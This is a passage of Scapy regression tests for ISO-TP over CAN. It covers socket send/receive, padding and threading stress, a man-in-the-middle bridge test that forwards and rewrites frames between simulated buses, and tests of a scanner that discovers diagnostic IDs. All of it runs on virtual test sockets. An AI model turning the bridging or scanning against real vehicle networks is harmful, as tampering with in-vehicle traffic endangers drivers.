log_stream.getvalue() + More complex operations = ISOTPSoftSocket sr1 msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') with TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \ TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx: isocan_rx.pair(isocan_tx) sniffer = AsyncSniffer(opened_socket=sock_rx, timeout=1, count=1, prn=lambda x: sock_rx.send(msg)) sniffer.start() rx2 = sock_tx.sr1(msg, timeout=3, verbose=True) sniffer.join(timeout=1) rx = sniffer.results[0] assert rx == msg assert rx2 is not None assert rx2 == msg = ISOTPSoftSocket sr1 timeout msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') with TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \ TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx: isocan_rx.pair(isocan_tx) rx2 = sock_tx.sr1(msg, timeout=1, verbose=True) assert rx2 is None = ISOTPSoftSocket select returns control ObjectPipe from scapy.automaton import ObjectPipe as _ObjectPipe close_pipe = _ObjectPipe("control_socket") close_pipe.send(None) with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, 0x123, 0x321) as sock: result = ISOTPSoftSocket.select([sock, close_pipe], remain=0) assert close_pipe in result close_pipe.close() = ISOTPSoftSocket select returns control ObjectPipe alongside ready rx_queue from scapy.automaton import ObjectPipe as _ObjectPipe close_pipe = _ObjectPipe("control_socket") close_pipe.send(None) with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, 0x641, 0x241) as sock: sock.impl.rx_queue.send((b'\x62\xF1\x90\x41\x42\x43', 0.0)) result = ISOTPSoftSocket.select([sock, close_pipe], remain=0) assert close_pipe in result assert sock in result close_pipe.close() = ISOTPSoftSocket sr1 SF request with MF response threaded from threading import Thread request = ISOTP(b'\x22\xF1\x90') response_data = b'\x62\xF1\x90' + b'\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50' response_msg = ISOTP(response_data) with TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x641, 0x241) as sock_tx, \ TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x241, 0x641) as sock_rx: isocan_rx.pair(isocan_tx) def responder(): sniffed = sock_rx.sniff(count=1, timeout=5) if sniffed: sock_rx.send(response_msg) resp_thread = Thread(target=responder, daemon=True) resp_thread.start() time.sleep(0.1) rx = sock_tx.sr1(request, timeout=5, verbose=False, threaded=True) resp_thread.join(timeout=5) assert not resp_thread.is_alive(), "resp_thread still alive" # Stop TimeoutScheduler while sockets are still open to avoid # callbacks crashing on closed sockets and writing to stderr. _ts = TimeoutScheduler._thread TimeoutScheduler.clear() if _ts is not None: _ts.join(timeout=5) assert rx is not None assert rx.data == response_data = ISOTPSoftSocket sr1 timeout with threaded=True from threading import Thread, Event msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') with TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \ TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx: isocan_rx.pair(isocan_tx) start = time.time() rx2 = sock_tx.sr1(msg, timeout=3, verbose=False, threaded=True) elapsed = time.time() - start # Stop TimeoutScheduler while sockets are still open. _ts = TimeoutScheduler._thread TimeoutScheduler.clear() if _ts is not None: _ts.join(timeout=5) assert rx2 is None assert elapsed < 5 = ISOTPSoftSocket sr1 timeout with threaded=True and background traffic from threading import Thread, Event msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') with TestSocket(CAN) as isocan_tx, ISOTPSoftSocket(isocan_tx, 0x123, 0x321) as sock_tx, \ TestSocket(CAN) as isocan_rx, ISOTPSoftSocket(isocan_rx, 0x321, 0x123) as sock_rx: isocan_rx.pair(isocan_tx) stop_traffic = Event() def bg_traffic(): while not stop_traffic.is_set(): try: isocan_rx.send(CAN(identifier=0x456, data=dhex("01 02 03"))) except Exception: break time.sleep(0.01) traffic_thread = Thread(target=bg_traffic, daemon=True) traffic_thread.start() start = time.time() rx2 = sock_tx.sr1(msg, timeout=3, verbose=False, threaded=True) elapsed = time.time() - start stop_traffic.set() traffic_thread.join(timeout=5) assert not traffic_thread.is_alive(), "traffic_thread still alive" # Stop TimeoutScheduler while sockets are still open. _ts = TimeoutScheduler._thread TimeoutScheduler.clear() if _ts is not None: _ts.join(timeout=5) assert rx2 is None assert elapsed < 5 = ISOTPSoftSocket sr1 SF request with MF response threaded and background traffic on slow interface from threading import Thread, Event response_data = b'\x62\xF1\x90' + b'\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50' stim = TestSocket(CAN) isocan = TestSocket(CAN) stim.pair(isocan) bg_frame = CAN(identifier=0x456, data=dhex("01 02 03")) ff_frame = CAN(identifier=0x241, data=dhex("10 13 62 F1 90 41 42 43")) cf1_frame = CAN(identifier=0x241, data=dhex("21 44 45 46 47 48 49 4A")) cf2_frame = CAN(identifier=0x241, data=dhex("22 4B 4C 4D 4E 4F 50 00")) bg_count = 2000 # Large number of frames to stress the ISOTPSoftSocket implementation for _ in range(100): _ = stim.send(bg_frame) stim.send(ff_frame) for _ in range(bg_count): _ = stim.send(bg_frame) stim.send(cf1_frame) stim.send(cf2_frame) with isocan, stim, ISOTPSoftSocket(isocan, 0x641, 0x241) as sock: pkts = sock.sniff(count=1, timeout=10) # Stop TimeoutScheduler while sockets are still open. _ts = TimeoutScheduler._thread TimeoutScheduler.clear() if _ts is not None: _ts.join(timeout=5) assert len(pkts) == 1, "MF response not received due to background traffic" assert pkts[0].data == response_data = ISOTPSoftSocket MF response with delayed CFs and background traffic from threading import Thread, Event response_data = b'\x62\xF1\x90' + b'\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50' with TestSocket(CAN) as stim, TestSocket(CAN) as isocan, \ ISOTPSoftSocket(isocan, 0x641, 0x241) as sock: stim.pair(isocan) stop_traffic = Event() def bg_traffic(): bg_frame = CAN(identifier=0x456, data=dhex("01 02 03")) while not stop_traffic.is_set(): try: stim.send(bg_frame) except Exception: break time.sleep(0.001) def delayed_response(): time.sleep(0.05) sock.impl.rx_tx_poll_rate = 10 stim.send(CAN(identifier=0x241, data=dhex("10 13 62 F1 90 41 42 43"))) time.sleep(0.01) stim.send(CAN(identifier=0x241, data=dhex("21 44 45 46 47 48 49 4A"))) time.sleep(0.01) stim.send(CAN(identifier=0x241, data=dhex("22 4B 4C 4D 4E 4F 50 00"))) traffic_thread = Thread(target=bg_traffic) traffic_thread.start() resp_thread = Thread(target=delayed_response) resp_thread.start() pkts = sock.sniff(count=1, timeout=5) stop_traffic.set() traffic_thread.join(timeout=5) resp_thread.join(timeout=5) assert not traffic_thread.is_alive(), "traffic_thread still alive" assert not resp_thread.is_alive(), "resp_thread still alive" # Stop TimeoutScheduler while sockets are still open. _ts = TimeoutScheduler._thread TimeoutScheduler.clear() if _ts is not None: _ts.join(timeout=5) assert len(pkts) == 1, "MF response not received with delayed CFs and slow poll rate" assert pkts[0].data == response_data = ISOTPSoftSocket sniff msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') with TestSocket(CAN) as isocan1, ISOTPSoftSocket(isocan1, 0x123, 0x321) as sock, \ TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, 0x321, 0x123) as rx_sock: isocan1.pair(isocan) msg.data += b'0' sock.send(msg) msg.data += b'1' sock.send(msg) msg.data += b'2' sock.send(msg) msg.data += b'3' sock.send(msg) msg.data += b'4' sock.send(msg) rx = rx_sock.sniff(count=5, timeout=5) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') msg.data += b'0' assert rx[0] == msg msg.data += b'1' assert rx[1] == msg msg.data += b'2' assert rx[2] == msg msg.data += b'3' assert rx[3] == msg msg.data += b'4' assert rx[4] == msg + ISOTPSoftSocket MITM attack tests = bridge and sniff with isotp soft sockets set up vcan0 and vcan1 for package forwarding vcan1 succ = False with TestSocket(CAN) as can0_0, \ TestSocket(CAN) as can0_1, \ TestSocket(CAN) as can1_0, \ TestSocket(CAN) as can1_1, \ ISOTPSoftSocket(can0_0, tx_id=0x241, rx_id=0x641) as isoTpSocket0, \ ISOTPSoftSocket(can1_0, tx_id=0x541, rx_id=0x141) as isoTpSocket1, \ ISOTPSoftSocket(can0_1, tx_id=0x641, rx_id=0x241) as bSocket0, \ ISOTPSoftSocket(can1_1, tx_id=0x141, rx_id=0x141) as bSocket1: can0_0.pair(can0_1) can1_1.pair(can1_0) evt = threading.Event() def forwarding(pkt): global forwarded forwarded += 1 return pkt def bridge(): global forwarded, succ forwarded = 0 bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=1.5, started_callback=evt.set, count=1) succ = True threadBridge = threading.Thread(target=bridge) threadBridge.start() evt.wait(timeout=5) packetsVCan1 = isoTpSocket1.sniff(timeout=1.5, count=1, started_callback=lambda: isoTpSocket0.send(ISOTP(b'Request'))) threadBridge.join(timeout=5) assert not threadBridge.is_alive() assert forwarded == 1 assert len(packetsVCan1) == 1 assert succ = bridge and sniff with isotp soft sockets and multiple long packets N = 3 T = 3 succ = False with TestSocket(CAN) as can0_0, \ TestSocket(CAN) as can0_1, \ TestSocket(CAN) as can1_0, \ TestSocket(CAN) as can1_1, \ ISOTPSoftSocket(can0_0, tx_id=0x241, rx_id=0x641) as isoTpSocket0, \ ISOTPSoftSocket(can1_0, tx_id=0x541, rx_id=0x141) as isoTpSocket1, \ ISOTPSoftSocket(can0_1, tx_id=0x641, rx_id=0x241) as bSocket0, \ ISOTPSoftSocket(can1_1, tx_id=0x141, rx_id=0x541) as bSocket1: can0_0.pair(can0_1) can1_1.pair(can1_0) evt = threading.Event() def forwarding(pkt): global forwarded forwarded += 1 return pkt def bridge(): global forwarded, succ forwarded = 0 bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=T, count=N, started_callback=evt.set) succ = True threadBridge = threading.Thread(target=bridge) threadBridge.start() evt.wait(timeout=5) for _ in range(N): isoTpSocket0.send(ISOTP(b'RequestASDF1234567890')) packetsVCan1 = isoTpSocket1.sniff(timeout=T, count=N) threadBridge.join(timeout=5) assert not threadBridge.is_alive() assert forwarded == N assert len(packetsVCan1) == N assert succ = bridge and sniff with isotp soft sockets set up vcan0 and vcan1 for package change vcan1 succ = False with TestSocket(CAN) as can0_0, \ TestSocket(CAN) as can0_1, \ TestSocket(CAN) as can1_0, \ TestSocket(CAN) as can1_1, \ ISOTPSoftSocket(can0_0, tx_id=0x241, rx_id=0x641) as isoTpSocket0, \ ISOTPSoftSocket(can1_0, tx_id=0x641, rx_id=0x241) as isoTpSocket1, \ ISOTPSoftSocket(can0_1, tx_id=0x641, rx_id=0x241) as bSocket0, \ ISOTPSoftSocket(can1_1, tx_id=0x241, rx_id=0x641) as bSocket1: can0_0.pair(can0_1) can1_1.pair(can1_0) evt = threading.Event() def forwarding(pkt): pkt.data = 'changed' return pkt def bridge(): global succ bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=3, started_callback=evt.set, count=1) succ = True threadBridge = threading.Thread(target=bridge) threadBridge.start() evt.wait(timeout=5) packetsVCan1 = isoTpSocket1.sniff(timeout=2, count=1, started_callback=lambda: isoTpSocket0.send(ISOTP(b'Request'))) threadBridge.join(timeout=5) assert not threadBridge.is_alive() assert len(packetsVCan1) == 1 assert packetsVCan1[0].data == b'changed' assert succ = Two ISOTPSoftSockets at the same time, sending and receiving with TestSocket(CAN) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241) as s1, \ TestSocket(CAN) as cs2, ISOTPSoftSocket(cs2, tx_id=0x241, rx_id=0x641) as s2: cs1.pair(cs2) isotp = ISOTP(data=b"\x10\x25" * 43) s2.send(isotp) result = s1.sniff(count=1, timeout=5) assert len(result) == 1 assert result[0].data == isotp.data = Two ISOTPSoftSockets at the same time, sending and receiving with tx_gap with TestSocket(CAN) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241, stmin=1) as s1, \ TestSocket(CAN) as cs2, ISOTPSoftSocket(cs2, tx_id=0x241, rx_id=0x641) as s2: cs1.pair(cs2) isotp = ISOTP(data=b"\x10\x25" * 43) s2.send(isotp) result = s1.sniff(count=1, timeout=5) assert len(result) == 1 assert result[0].data == isotp.data = Two ISOTPSoftSockets at the same time, multiple sends/receives def test(): with TestSocket(CAN) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241) as s1, \ TestSocket(CAN) as cs2, ISOTPSoftSocket(cs2, tx_id=0x241, rx_id=0x641) as s2: cs1.pair(cs2) for i in range(1, 40, 5): isotp = ISOTP(data=bytearray(range(i, i * 2))) s2.send(isotp) result = s1.sniff(count=8, timeout=5) print(result) for p in result: print(repr(p)) assert len(result) == 8 test() = Send a single frame ISOTP message with padding with TestSocket(CAN) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241, padding=True) as s: with TestSocket(CAN) as cans: cs1.pair(cans) s.send(ISOTP(data=dhex("01"))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") res = pkts[0] assert res.length == 8 = Send a single frame ISOTP message with padding FD with TestSocket(CANFD) as cs1, ISOTPSoftSocket(cs1, tx_id=0x641, rx_id=0x241, padding=True, fd=True) as s: with TestSocket(CANFD) as cans: cs1.pair(cans) pl_sizes_testings = [1, 5, 7, 8, 9, 12, 15, 17, 20, 21, 27, 35, 40, 46, 50, 62] pl_sizes_expected = [8, 8, 8, 12, 12, 16, 20, 20, 24, 24, 32, 48, 48, 48, 64, 64] for i, pl_size in enumerate(pl_sizes_testings): s.send(dhex(" ".join(["%02X" % x for x in range(pl_size)]))) pkts = cans.sniff(timeout=1, count=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") res = pkts[0] assert res.length == pl_sizes_expected[i] = Send a two-frame ISOTP message with padding acks = TestSocket(CAN) cans = TestSocket(CAN) acks.pair(cans) def send_ack(x): acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) acker = AsyncSniffer(opened_socket=acks, store=False, prn=send_ack, timeout=1, count=1) acker.start() with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=True) as s: acks.pair(isocan) cans.pair(isocan) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) canpks = cans.sniff(timeout=1, count=3) acker.join(timeout=5) canpks.sort(key=lambda x:x.identifier) assert canpks[1].identifier == 0x641 assert canpks[1].data == dhex("10 08 01 02 03 04 05 06") assert canpks[0].identifier == 0x241 assert canpks[0].data == dhex("30 00 00") assert canpks[2].identifier == 0x641 assert canpks[2].data == dhex("21 07 08 CC CC CC CC CC") = Receive a padded single frame ISOTP message with padding disabled with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=False) as s: with TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") res = pkts[0] assert res.data == dhex("05 06") = Receive a padded single frame ISOTP message with padding enabled with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=True) as s: with TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") res = pkts[0] assert res.data == dhex("05 06") = Receive a non-padded single frame ISOTP message with padding enabled with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=True) as s: with TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier=0x241, data=dhex("02 05 06"))) pkts = s.sniff(count=1, timeout=2) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") res = pkts[0] assert res.data == dhex("05 06") = Receive a padded two-frame ISOTP message with padding enabled with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=True) as s: with TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") res = pkts[0] assert res.data == dhex("01 02 03 04 05 06 07 08 09") = Receive a padded two-frame ISOTP message with padding disabled with TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=False) as s: with TestSocket(CAN) as cans: cans.pair(isocan) cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) pkts = s.sniff(count=1, timeout=1) if not len(pkts): s.failure_analysis() raise Scapy_Exception("ERROR") res = pkts[0] res.show() assert res.data == dhex("01 02 03 04 05 06 07 08 09") + MF response via sr1() cartesian product tests # Background traffic from pcap: 3 periodic IDs (0x062, 0x024, 0x039) every # 10ms, plus a burst of 9 additional IDs every 100ms. # ECU response latency: ~0.6ms after SF request (from pcap frame 385). # CF timing after FC: CF1 +8ms, CF2 +10ms, CF3 +10ms (from pcap). # Expected ISOTP data: "62 00 01 flag{UDS_DATA_READ}" (22 bytes). # # Cartesian product dimensions: # threaded: {False, True} - sr1() threading mode # can_filters: {[0x7eb], None} - per-socket filtering vs. no filtering # adapter: {limited (slcan-like), unlimited (candle-like)} # # slcan model parameters (from real hardware testing): # frame_delay=0.0025: ~2.5ms per serial read at 115200 baud # serial_timeout=0.1: python-can slcan Serial(timeout=0.1) blocks 100ms # when serial buffer is empty # read_time_limit=0.02: SocketMapper.READ_BUS_TIME_LIMIT = 20ms caps # total read time per mux call # prefill_frames=200: OS serial buffer backlog from busy CAN bus # # All tests use retry=0, timeout=1.0. All should PASS with the fix # (can_filters stripped from raw Bus, per-socket filtering in mux, # read_bus time-limited to avoid TimeoutScheduler thread starvation). = MF response helper setup for cartesian product tests from threading import Thread, Event def run_mf_response_test(frame_delay, mux_throttle, filters_kwarg, threaded, prefill_frames=0, serial_timeout=0.0, read_time_limit=0.0, interface_name="slcan"): import time as _time from threading import Thread as _Thread, Event as _Event from scapy.layers.can import CAN as _CAN from scapy.contrib.isotp import ISOTP as _ISOTP from scapy.contrib.isotp.isotp_soft_socket import ISOTPSoftSocket as _ISOTPSoftSocket from scapy.contrib.isotp.isotp_soft_socket import TimeoutScheduler as _TimeoutScheduler from test.testsocket import TestSocket as _TestSocket, SlowTestSocket as _SlowTestSocket _dhex = bytes.fromhex response_data = _dhex("620001666c61677b5544535f444154415f524541447d") bg_periodic = [0x062, 0x024, 0x039] bg_burst = [0x1d3, 0x024, 0x039, 0x077, 0x098, 0x150, 0x1a7, 0x1b8, 0x1bb] if frame_delay > 0: sock_cls = _SlowTestSocket sock_kwargs = dict(frame_delay=frame_delay, mux_throttle=mux_throttle, serial_timeout=serial_timeout, read_time_limit=read_time_limit, interface_name=interface_name, **filters_kwarg) else: sock_cls = _TestSocket sock_kwargs = {} with sock_cls(_CAN, **sock_kwargs) as isocan, \ _TestSocket(_CAN) as ecu_mon, \ _ISOTPSoftSocket(isocan, tx_id=0x7e3, rx_id=0x7eb) as sock: with _TestSocket(_CAN) as stim: stim.pair(isocan) isocan.pair(ecu_mon) # Pre-fill the serial buffer with background frames to # simulate a real slcan adapter that has been connected to # a busy CAN bus. On real hardware the OS serial buffer # accumulates hundreds of frames before the ISOTP exchange. for _ in range(prefill_frames): bid = bg_periodic[_ % len(bg_periodic)] stim.send(_CAN(identifier=bid, data=bytes(8))) fc_received = _Event() stop = _Event() bg_cycle = [0] def bg_generator(): while not stop.is_set(): for bid in bg_periodic: if stop.is_set(): return stim.send(_CAN(identifier=bid, data=bytes(8))) bg_cycle[0] += 1 if bg_cycle[0] % 10 == 0: for bid in bg_burst: if stop.is_set(): return stim.send(_CAN(identifier=bid, data=bytes(8))) _time.sleep(0.010) def ecu_simulation(): _time.sleep(0.05) stim.send(_CAN(identifier=0x7eb, data=_dhex("1016620001666c61"))) fc_received.wait(timeout=10.0) if not fc_received.is_set(): return _time.sleep(0.008) stim.send(_CAN(identifier=0x7eb, data=_dhex("21677b5544535f44"))) _time.sleep(0.010) stim.send(_CAN(identifier=0x7eb, data=_dhex("224154415f524541"))) _time.sleep(0.010) stim.send(_CAN(identifier=0x7eb, data=_dhex("23447d"))) def fc_watcher(): while not stop.is_set(): if _TestSocket.select([ecu_mon], 0.1): pkt = ecu_mon.recv() if pkt is not None and pkt.identifier == 0x7e3 and \ len(pkt.data) >= 1 and bytes(pkt.data)[0] == 0x30: fc_received.set() return bg_thread = _Thread(target=bg_generator) ecu_thread = _Thread(target=ecu_simulation) fc_thread = _Thread(target=fc_watcher) bg_thread.start() ecu_thread.start() fc_thread.start() result = sock.sr1(_ISOTP(data=_dhex("220001")), retry=0, timeout=10.0, threaded=threaded, verbose=0) stop.set() fc_received.set() bg_thread.join(timeout=5) ecu_thread.join(timeout=5) fc_thread.join(timeout=5) assert not bg_thread.is_alive(), "bg_thread still alive" assert not ecu_thread.is_alive(), "ecu_thread still alive" assert not fc_thread.is_alive(), "fc_thread still alive" # Stop TimeoutScheduler while sockets are still open to # avoid callbacks crashing on closed sockets and writing # to stderr (causes fatal error on Python 3.13 Windows). _ts_thread = _TimeoutScheduler._thread _TimeoutScheduler.clear() if _ts_thread is not None: _ts_thread.join(timeout=5) return result, response_data = MF response: candle-like unlimited, no can_filters, threaded=False result, expected = run_mf_response_test( frame_delay=0, mux_throttle=0, filters_kwarg={}, threaded=False, interface_name="candle") assert result is not None, "MF response not received (candle, no filters, threaded=False)" assert result.data == expected = MF response: candle-like unlimited, no can_filters, threaded=True result, expected = run_mf_response_test( frame_delay=0, mux_throttle=0, filters_kwarg={}, threaded=True, interface_name="candle") assert result is not None, "MF response not received (candle, no filters, threaded=True)" assert result.data == expected = MF response: candle-like unlimited, can_filters=[0x7eb], threaded=False result, expected = run_mf_response_test( frame_delay=0, mux_throttle=0, filters_kwarg=dict(can_filters=[0x7eb]), threaded=False, interface_name="candle") assert result is not None, "MF response not received (candle, can_filters, threaded=False)" assert result.data == expected = MF response: candle-like unlimited, can_filters=[0x7eb], threaded=True result, expected = run_mf_response_test( frame_delay=0, mux_throttle=0, filters_kwarg=dict(can_filters=[0x7eb]), threaded=True, interface_name="candle") assert result is not None, "MF response not received (candle, can_filters, threaded=True)" assert result.data == expected = MF response: slcan-like limited, no can_filters, threaded=False result, expected = run_mf_response_test( frame_delay=0.0025, mux_throttle=0.001, serial_timeout=0.1, read_time_limit=0.02, filters_kwarg={}, threaded=False, prefill_frames=200) assert result is not None, "MF response not received (slcan, no filters, threaded=False)" assert result.data == expected = MF response: slcan-like limited, no can_filters, threaded=True result, expected = run_mf_response_test( frame_delay=0.0025, mux_throttle=0.001, serial_timeout=0.1, read_time_limit=0.02, filters_kwarg={}, threaded=True, prefill_frames=200) assert result is not None, "MF response not received (slcan, no filters, threaded=True)" assert result.data == expected = MF response: slcan-like limited, can_filters=[0x7eb], threaded=False result, expected = run_mf_response_test( frame_delay=0.0025, mux_throttle=0.001, serial_timeout=0.1, read_time_limit=0.02, filters_kwarg=dict(can_filters=[0x7eb]), threaded=False, prefill_frames=200) assert result is not None, "MF response not received (slcan, can_filters, threaded=False)" assert result.data == expected = MF response: slcan-like limited, can_filters=[0x7eb], threaded=True result, expected = run_mf_response_test( frame_delay=0.0025, mux_throttle=0.001, serial_timeout=0.1, read_time_limit=0.02, filters_kwarg=dict(can_filters=[0x7eb]), threaded=True, prefill_frames=200) assert result is not None, "MF response not received (slcan, can_filters, threaded=True)" assert result.data == expected + Cleanup = Delete testsockets cleanup_testsockets() _ts = TimeoutScheduler._thread TimeoutScheduler.clear() if _ts is not None: _ts.join(timeout=5) log_runtime.removeHandler(handler) ================================================ FILE: test/contrib/isotpscan.uts ================================================ % Regression tests for isotp_scan ~ scanner + Configuration ~ conf = Imports from scapy.contrib.isotp.isotp_scanner import send_multiple_ext, filter_periodic_packets, scan_extended, scan from test.testsocket import TestSocket with open(scapy_path("test/contrib/automotive/interface_mockup.py")) as f: exec(f.read()) = Test send_multiple_ext() pkt = ISOTPHeaderEA(identifier=0x100, extended_address=1)/ISOTP_FF(message_size=100, data=b'\x00\x00\x00\x00\x00') number_of_packets = 100 with new_can_socket0() as sock1, new_can_socket0() as sock: send_multiple_ext(sock1, 0, pkt, number_of_packets) pkts = sock.sniff(timeout=4, count=number_of_packets) assert len(pkts) == number_of_packets = Test filter_periodic_packets() with periodic packets pkt = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') received_packets = dict() for i in range(40): temp_pkt = pkt.copy() temp_pkt.time = i / 1000 received_packets[i] = (temp_pkt, temp_pkt.identifier) filter_periodic_packets(received_packets) assert len(received_packets) == 0 = Test filter_periodic_packets() with periodic packets and one outlier outlier = CAN(identifier=300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') outlier.time = 50 / 1000 pkt = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') received_packets = dict() for i in range(40): temp_pkt = pkt.copy() temp_pkt.time = i / 1000 received_packets[i] = (temp_pkt, temp_pkt.identifier) received_packets[40] = (outlier, outlier.identifier) filter_periodic_packets(received_packets) assert len(received_packets) == 1 = Test filter_periodic_packets() with nonperiodic packets pkt = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') received_packets = dict() for i in range(40): temp_pkt = pkt.copy() temp_pkt.time = (i * i) / 1000 received_packets[i] = (temp_pkt, temp_pkt.identifier) filter_periodic_packets(received_packets) assert len(received_packets) == 40 = define helper function def make_noise(p, t): for _ in range(20): sock_noise.send(p) time.sleep(t) = test scan sock_sender = TestSocket(CAN) sockets = list() for idx in range(1, 4): sock_recv = TestSocket(CAN) sock_sender.pair(sock_recv) sockets.append(ISOTPSoftSocket(sock_recv, tx_id=0x700 + idx, rx_id=0x600 + idx)) found_packets = scan(sock_sender, range(0x5ff, 0x604), noise_ids=[0x701], sniff_time=0.1) for s in sockets: s.close() assert len(found_packets) == 2 assert found_packets[0x602][0].identifier == 0x702 assert found_packets[0x603][0].identifier == 0x703 = test scan extended sock_sender = TestSocket(CAN) sock_recv = TestSocket(CAN) sock_sender.pair(sock_recv) with ISOTPSoftSocket(sock_recv, tx_id=0x700, rx_id=0x601, ext_address=0xaa, rx_ext_address=0xbb): found_packets = scan_extended(sock_sender, [0x600, 0x601], extended_scan_range=range(0xb0, 0xc0), sniff_time=0.1) fpkt = found_packets[list(found_packets.keys())[0]][0] rpkt = CAN(flags=0, identifier=0x700, length=4, data=b'\xaa0\x00\x00') assert fpkt.length == rpkt.length assert fpkt.data == rpkt.data assert fpkt.identifier == rpkt.identifier = scan with text output sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603): pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1), output_format="text", noise_listen_time=0.1, sniff_time=0.02, verbose=False) text = "\nFound 2 ISOTP-FlowControl Packet(s):" assert text in result assert "0x602" in result assert "0x603" in result assert "0x702" in result assert "0x703" in result assert "No Padding" in result = scan with text output padding sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602, padding=True), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603, padding=True): pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') make_noise(pkt, 0.01) result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1), output_format="text", noise_listen_time=0.1, sniff_time=0.02, verbose=False) text = "\nFound 2 ISOTP-FlowControl Packet(s):" assert text in result assert "0x602" in result assert "0x603" in result assert "0x702" in result assert "0x703" in result assert "Padding enabled" in result = scan with text output extended_can id sock_sender = TestSocket(CAN) sock_recv1 = TestSocket(CAN) sock_sender.pair(sock_recv1) sock_recv2 = TestSocket(CAN) sock_sender.pair(sock_recv2) sock_noise = TestSocket(CAN) sock_sender.pair(sock_noise) with ISOTPSoftSocket(sock_recv1, tx_id=0x1ffff702, rx_id=0x1ffff602), ISOTPSoftSocket(sock_recv2, tx_id=0x1ffff703, 